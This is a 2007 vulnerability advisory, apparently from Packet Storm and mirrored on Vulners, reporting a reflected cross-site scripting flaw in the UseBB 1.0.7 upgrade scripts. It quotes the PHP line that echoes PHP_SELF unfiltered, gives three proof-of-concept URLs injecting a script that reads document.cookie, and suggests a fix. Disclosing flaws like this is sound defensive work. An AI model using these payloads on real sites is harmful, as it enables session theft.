Lucene search
K

usebb-xss.txt

🗓️ 23 Jul 2007 00:00:00Reported by S4miType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

UseBB version: 1.0.7, Cross Site Scripting (XSS) vulnerability in installation file

Code
`#############################################################  
# Script...............: UseBB version: 1.0.7 #  
# Script Site..........: http://www.usebb.net #  
# Vulnerability........: Cross Site Scripting (XSS) #  
# Acces................: Remote #  
# level................: Dangerous #  
# Author...............: S4mi #  
# Contact..............: s4mi[at]LinuxMail.org #  
#############################################################  
  
The affected Files :  
====================  
/UseBB/install/upgrade-0-2-3.php  
/UseBB/install/upgrade-0-3.php  
/UseBB/install/upgrade-0-4.php  
  
vuln Code: line ~ 86  
=====================  
[code]  
return '<form action="'.$_SERVER['PHP_SELF'].'" method="post"><p><input type="hidden"   
name="step" value="'.$step.'" /><input type="submit" value="' . ( ( $_POST['step'] == $step ) ? 'Retry step   
'.$step : 'Continue to step '.$step ) . '" /></p></form>';  
[/code]  
  
The variables PHP_SELF is used without filtering  
  
PoC :  
====================  
http://127.0.0.1/UseBB/install/upgrade-0-2-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt>  
http://127.0.0.1/UseBB/install/upgrade-0-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt>  
http://127.0.0.1/UseBB/install/upgrade-0-4.php/"><ScRiPt>alert(document.cookie);</ScRiPt>  
  
Solution :  
====================  
  
filtre the PHP_SELF  
or you know what's the best lool : Delete the Install directory :D  
  
Shoutz :  
====================  
Simo64, DrackaNz, Iss4m, Coder212, HarDose, r0_0t, ddx39, E.chark, Nuck3r ....... & all Others  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation